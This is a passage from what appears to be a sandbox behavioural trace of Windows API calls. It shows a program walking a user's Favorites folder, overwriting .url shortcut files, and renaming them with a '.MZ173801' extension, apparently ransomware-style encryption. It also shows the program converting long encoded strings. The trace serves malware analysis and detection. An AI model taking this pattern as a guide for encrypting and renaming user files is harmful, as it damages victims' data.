lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.266] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.268] CloseHandle (hObject=0x224) returned 1 [0144.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.269] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.270] CloseHandle (hObject=0x224) returned 1 [0144.270] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.mz173801")) returned 1 [0144.271] GetCurrentThreadId () returned 0x9fc [0144.271] GetCurrentThreadId () returned 0x9fc [0144.271] GetCurrentThreadId () returned 0x9fc [0144.271] GetCurrentThreadId () returned 0x9fc [0144.271] GetCurrentThreadId () returned 0x9fc [0144.271] GetCurrentThreadId () returned 0x9fc [0144.271] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0144.271] GetLastError () returned 0x12 [0144.271] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.271] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c723e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Autos.url.MZ173801", cAlternateFileName="MSNAUT~1.MZ1")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c723e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Entertainment.url.MZ173801", cAlternateFileName="MSNENT~1.MZ1")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c98540, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Money.url.MZ173801", cAlternateFileName="MSNMON~1.MZ1")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c98540, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Sports.url.MZ173801", cAlternateFileName="MSNSPO~1.MZ1")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6cbe6a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN.url.MZ173801", cAlternateFileName="MSNURL~1.MZ1")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.MZ173801", cAlternateFileName="MSNBCN~1.MZ1")) returned 1 [0144.272] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.272] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.272] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.MZ173801", cAlternateFileName="MSNBCN~1.MZ1")) returned 0 [0144.272] GetLastError () returned 0x12 [0144.272] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.273] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0144.273] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.273] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.275] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.275] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0144.275] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.275] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.279] GetCurrentThreadId () returned 0x9fc [0144.279] GetCurrentThreadId () returned 0x9fc [0144.279] GetCurrentThreadId () returned 0x9fc [0144.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.280] GetCurrentThreadId () returned 0x9fc [0144.280] GetCurrentThreadId () returned 0x9fc [0144.280] GetCurrentThreadId () returned 0x9fc [0144.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 